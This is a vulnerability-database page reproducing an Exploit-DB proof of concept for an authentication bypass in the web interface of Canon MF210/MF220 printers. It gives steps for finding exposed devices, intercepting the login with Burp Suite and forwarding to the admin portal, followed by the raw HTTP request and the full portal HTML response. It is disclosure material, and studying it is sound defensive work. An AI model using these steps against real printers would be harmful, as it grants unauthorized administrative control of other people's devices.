Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

Canon MF210/MF220 - Authenticaton Bypass

🗓️ 06 Jun 2018 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb🔗 www.exploit-db.com👁 72 Views

Canon MF210/MF220 Authentication Bypas

Related
Code
# Exploit Title: [ Incorrect Access Control in Canon MF210 & MF220 Series ]
# Date: [4.6.2018]
# Exploit Author: [Huy Kha]
# Vendor Homepage: [http://global.canon.com]
# Software Link: [ Website ]
# Version: MF210 & MF20 Series
# Severity: High
# Tested on: Mozilla FireFox
# Description : An issue was discovered on Canon MF210 & MF220 printers webinterface.
It is possible for a remote (unauthenticated) attacker to bypass the System Manager Mode authentication without a PIN at any URL of the device that requires authentication.



# PoC :
Start searching for Canon MF210 & MF220 printers.
You can recognize them with the /login.html parameter, but the version is
also been displayed on the webinterface.
https://imgur.com/a/5ON4HF6

# Example :

1. Go to the following url: http://127.0.0.1/login.html
2. Click on System Manager Mode
3. Intercept now the request with Burpsuite and click then on 'Ok'' to login. And forward the request till you get the ''/portal_top.html'' parameter.


# Request :

GET /portal_top.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://129.2.52.116/login.html
Cookie: fusion-http-session-id=TYFMNOVENYXIJSRENKDC
Connection: close
Upgrade-Insecure-Requests: 1

# Response :

HTTP/1.1 200 OK
Expires: Thu, 1 Jan 1998 00:00:00 GMT
Content-Type: text/html
Content-Length: 6119
Pragma: no-cache
Cache-Control: no-store, no-cache, max-age=0
Connection: close
Set-Cookie:
fusion-http-session-id=TYFMNOVENYXIJSRENKDC;Comment=;Version=;HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta http-equiv="content-script-type" content="text/javascript" />
<meta http-equiv="content-style-type" content="text/css" />
<meta http-equiv="pragma" content="no-cache" />
<meta http-equiv="cache-control" content="no-cache,no-store,max-age=0" />
<meta http-equiv="expires" content="Thu, 01 Jan 1970 00:00:00 GMT" />
<meta http-equiv="X-UA-Compatible" content="IE=7" />
<link rel="shortcut icon" type="image/x-icon" href="media/favicon.ico" />
<link rel="stylesheet" type="text/css" media="all" href="css/ja.css" />
<link rel="stylesheet" type="text/css" media="all" href="css/common.css" />
<link rel="stylesheet" type="text/css" media="all" href="css/portal.css" />
<link rel="stylesheet" type="text/css" media="all" href="css/icons.css" />
<script type="text/javascript" src="js/rui.js"></script>
<script language="javascript">
function unloadFunc(e) { }
registEvent(window, "unload", unloadFunc);
</script>
<title>Remote UI: Portal: MF220&nbsp;Series: MF220 Series</title>
</head>
<body>
<div id="container">
<div id="ruiPotalSet">
<div class="Wrapper">
<div id="portalBranding">
<h1 id="deviceLogo">
<a href="portal_top.html">

<img src="media/branding_logo_imageCLASS.png" />

</a>
</h1>
<div id="productInformation">
<table>
<caption></caption>
<colgroup>
<col class="ItemNameColumn" />
<col class="ItemValueColumn" />
</colgroup>
<tbody>
<tr>
<th>Device Name:</th>
<td>MF220&nbsp;Series </td>
</tr>
<tr>
<th>Product Name:</th>
<td>MF220 Series </td>
</tr>
<tr>
<th>Location:</th>
<td> </td>
</tr>
</tbody>
</table>
</div>
</div>
<div id="commonTools">
<fieldset id="authTools">

<p><a href="/logout.cgi"><span class="Name">Log Out</span></a></p>
</fieldset>
</div>
</div>
<hr />
</div>
<div id="applications">
<div id="portalApplicationBranding">
<div class="Wrapper">
<h1 id="applicationLogo"><img src="media/app_icon.png" /><span
class="BrandingName">Remote UI: Portal</span></h1>
<div id="appTools">
<a href="mailto:"><span class="Name">Mail to System Manager</span></a>
</div>
</div>
</div>
<hr />
<div id="applicationContents">
<div class="Wrapper">
<div id="contentsWrapper">
<div id="contents">
<div id="contentHeading_potal">
<h2 class="PageName">Device Info</h2>
<div id="contentHeadingTools">
<div id="tmpUpdate">Last Updated:06/04/2018 04:27 AM</div>
<div id="tmpReload">
<a href="javascript:location.reload()"><img src="media/bh_updt.gif"
alt="Update" title="Update" /></a>
</div>
</div>
</div>
<hr />
<h2>Contents</h2>
<div id="quotationModule">
<div class="QuotationModuleHeading"><h3></h3></div>
<div class="QuotationModuleElement">
<div id="deviceBasicInformation" class="ContentModule">
<div class="ModuleHeading"><h4>Device Basic Information</h4></div>
<div id="deviceStatusModule" class="ModuleElement">
<h5>Device Status</h5>
<table class="PropertyListComponent">
<colgroup>
<col class="ItemNameColumn" />
<col class="ItemValueColum" />
</colgroup>
<tbody>
<tr>
<th>Printer:</th>
<td><span class="StatusIcon"><img src="media/sg_off.gif"/></span>
<span class="StatusMessage">Sleep mode.</span>
</td>
</tr>
<tr>
<th>Scanner:</th>
<td><span class="StatusIcon"><img src="media/sg_off.gif"/></span>
<span class="StatusMessage">Sleep mode.</span>
</td>
</tr>

<tr>
<th>Fax:</th>
<td><span class="StatusIcon"><img src="media/sg_ok.gif"/></span>
<span class="StatusMessage">Ready to send or receive faxes.</span>
</td>
</tr>

</tbody>
</table>
</div>
<div id="deviceErrorInfoModule" class="ModuleElement">
<h5>Error Information</h5>
<p>No errors.</p>

</div>
</div>
<div id="MaintenanceInfomationModule" class="ContentModule">
<div class="ModuleHeading"><h4>Consumables Information</h4></div>
<div id="paperInfomationModule" class="ModuleElement">
<input type="button" class="ButtonEnable" value="Check Consumables Details"
onclick="location.href='consumables_check.html'"/>
<h5>Paper Information</h5>
<table summary="Paper Source, Remaining Paper, Paper Size">
<colgroup>
<col class="PaperSourceColumn" />
<col class="RemainColumn" />
<col class="PaperSizeColumn" />
<col class="PaperTypeColumn" />
</colgroup>
<thead>
<tr>
<th>Paper Source</th>
<th>Paper Level</th>
<th>Paper Size</th>
<th>Paper Type</th>
</tr>
</thead>
<tbody>
<tr>
<th>Multi-Purpose Tray</th>
<td>None</td>

<td>LTR</td>

<td>Plain (16 lb Bond-23 lb Bond)</td>
</tr>
<tr>
<th>Drawer 1</th>
<td>OK</td>

<td>LTR</td>

<td>Plain (16 lb Bond-23 lb Bond)</td>
</tr>
</tbody>
</table>
</div>
<div id="tonerInfomationModule" class="ModuleElement">
<h5>Cartridge Information</h5>
<table>
<colgroup>
<col class="ItemNameColumn" />
<col class="ItemValueColumn" />
</colgroup>
<thead>
<tr>
<th>Color</th>
<th>Level</th>
</tr>
</thead>
<tbody>
<tr>
<th>Black</th>
<td><img src="media/ink_bk06.gif" alt="" title="" />60%</td>
</tr>
</tbody>
</table>
</div>
</div>
<div id="linkInformationModule" class="ContentModule">
<div class="ModuleHeading"><h4>Support Link</h4></div>
<div class="ModuleElement">
<table class="PropertyListComponent">
<colgroup>
<col class="ItemNameColumn" />
<col class="ItemValueColumn" />
</colgroup>
<tbody>
<tr>
<th>Support Link:</th>

<td></td>

</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<hr />
<div id="navigationWrapper">
<div id="navigation">
<h2>menu</h2>
<div id="navStandard">
<h3 class="GroupTitle">Standard Tool</h3>
<ul>
<li class="Main">
<a href="j_plist.html" class="Standby SystemMain"><span class="Name">Status
Monitor/Cancel</span></a>
</li>
<li class="Main">
<a href="p_paper.html" class="Standby UsermodeMain"><span
class="Name">Settings/Registration</span></a>
</li>
</ul>
</div>

<div id="navGeneral">
<ul>
<li class="Main">
<a href="a_addresslistone.html" class="Standby AddressMain">
<span class="Name">Address Book</span></a>
</li>
</ul>
</div>

</div>
</div>
</div>
</div>
</div>
<hr />
<div id="applicationInfo">
<address class="SiteInforLegal">Copyright CANON INC. 2014</address>
</div>
</div>
</div>
</body>
</html>



# Do we have now access to the printer with System Manager Mode? : Yes

# Screenshot : https://imgur.com/a/U6oBYNV

# How to fix this? : Remove the default password and add a new (strong) password.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
06 Jun 2018 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 39.8
CVSS 210
EPSS0.06293
canon mf210 seriescanon mf220 seriesauthentication bypasssystem manager moderemote ui
72